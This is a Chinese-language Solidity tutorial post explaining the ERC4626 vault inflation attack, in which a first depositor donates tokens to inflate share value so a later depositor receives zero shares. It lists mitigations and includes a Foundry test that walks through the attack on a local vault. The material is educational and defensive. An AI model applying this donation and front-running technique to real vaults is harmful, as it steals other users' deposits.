欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的Vault Inflation (Code Example)
漏洞
通过向金库捐赠ERC20代币可以人为抬高金库份额。
攻击者可利用这一机制窃取其他用户的存款。
示例
用户0抢在用户1的存款之前进行操作。
- 用户0存入
1。 - 用户0捐赠
100 * 1e18。这导致每份份额的价值膨胀。 - 用户1存入
100 * 1e18。这为用户1铸造了0份额。 - 用户0提取全部
200 * 1e18 + 1。
保护机制
- 最小份额 -> 防止抢先交易
- 内部余额 -> 防止捐赠攻击
- 死亡份额 -> 合约作为首个存款人
- 小数位偏移(OpenZeppelin ERC4626标准)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {
IERC20,
Vault,
Token
} from "../../../src/hacks/vault-inflation/VaultInflation.sol";
uint8 constant DECIMALS = 18;
contract VaultTest is Test {
Vault private vault;
Token private token;
address[] private users = [address(11), address(12)];
function setUp() public {
token = new Token();
vault = new Vault(address(token));
for (uint256 i = 0; i < users.length; i++) {
token.mint(users[i], 10000 * (10 ** DECIMALS));
vm.prank(users[i]);
token.approve(address(vault), type(uint256).max);
}
}
function print() private {
console2.log("vault total supply", vault.totalSupply());
console2.log("vault balance", token.balanceOf(address(vault)));
uint256 shares0 = vault.balanceOf(users[0]);
uint256 shares1 = vault.balanceOf(users[1]);
console2.log("users[0] shares", shares0);
console2.log("users[1] shares", shares1);
console2.log("users[0] redeemable", vault.previewRedeem(shares0));
console2.log("users[1] redeemable", vault.previewRedeem(shares1));
}
function test() public {
// users[0] deposit 1
console2.log("--- users[0] deposit ---");
vm.prank(users[0]);
vault.deposit(1);
print();
// users[0] donate 100
console2.log("--- users[0] donate ---");
vm.prank(users[0]);
token.transfer(address(vault), 100 * (10 ** DECIMALS));
print();
// users[1] deposit 100
console2.log("--- users[1] deposit ---");
vm.prank(users[1]);
vault.deposit(100 * (10 ** DECIMALS));
print();
}
}